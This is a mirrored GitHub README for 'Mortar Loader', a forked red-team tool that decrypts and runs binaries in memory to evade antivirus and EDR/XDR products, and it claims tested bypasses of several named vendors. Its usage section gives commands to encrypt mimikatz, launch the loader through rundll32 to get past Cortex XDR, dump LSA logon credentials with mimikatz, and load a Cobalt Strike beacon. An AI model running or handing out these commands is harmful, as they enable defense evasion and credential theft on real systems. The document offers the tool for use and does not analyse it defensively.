GithubHelp home page GithubHelp logo

rasmalian / mortar Goto Github PK

View Code? Open in Web Editor NEW

This project forked from 0xsp-srd/mortar

0.0 1.0 0.0 1.41 MB

evasion technique to defeat and divert detection and prevention of security products (AV/EDR/XDR)

License: MIT License

Pascal 100.00%

mortar's Introduction

Mortar Loader

red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following:

  • Kaspersky
  • ESET
  • Malewarebytes
  • Mcafee
  • Cortex XDR
  • Windows defender
  • Cylance

detailed research : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions

CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk

Usage

Encryptor

root@kali>./encryptor -f mimikatz.exe -o bin.tmp 

Loader (DLL)

for bypassing Cortex XDR,add agressor.dll with bin.tmp in the same folder and script the following bat file

@echo off 
cmd.exe /c rundll32.exe agressor.dll,stealth

for normal usage you can directly execute the agressor.dll

rundll32.exe agressor.dll,dec

Loader (EXE)

the executable version has more options you can use, as you able to pass commands for the loaded binary

##Mimikatz dump LSA 
deliver.exe -d -c sekurlasa::logonpasswords -f mimikatz.enc 

## Cobalt strike beacon 
deliver.exe -d -f cobalt.enc 

Compiling the Loader (windows only)

the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build

Compiling Encryptor(Linux/BSD/Arm/MacOS//windows)

either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads)

#Debian & Ubuntu 

apt install fpc 
apt install lazarus-ide 

Support the research

if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp

mortar's People

Contributors

lawrenceamer avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.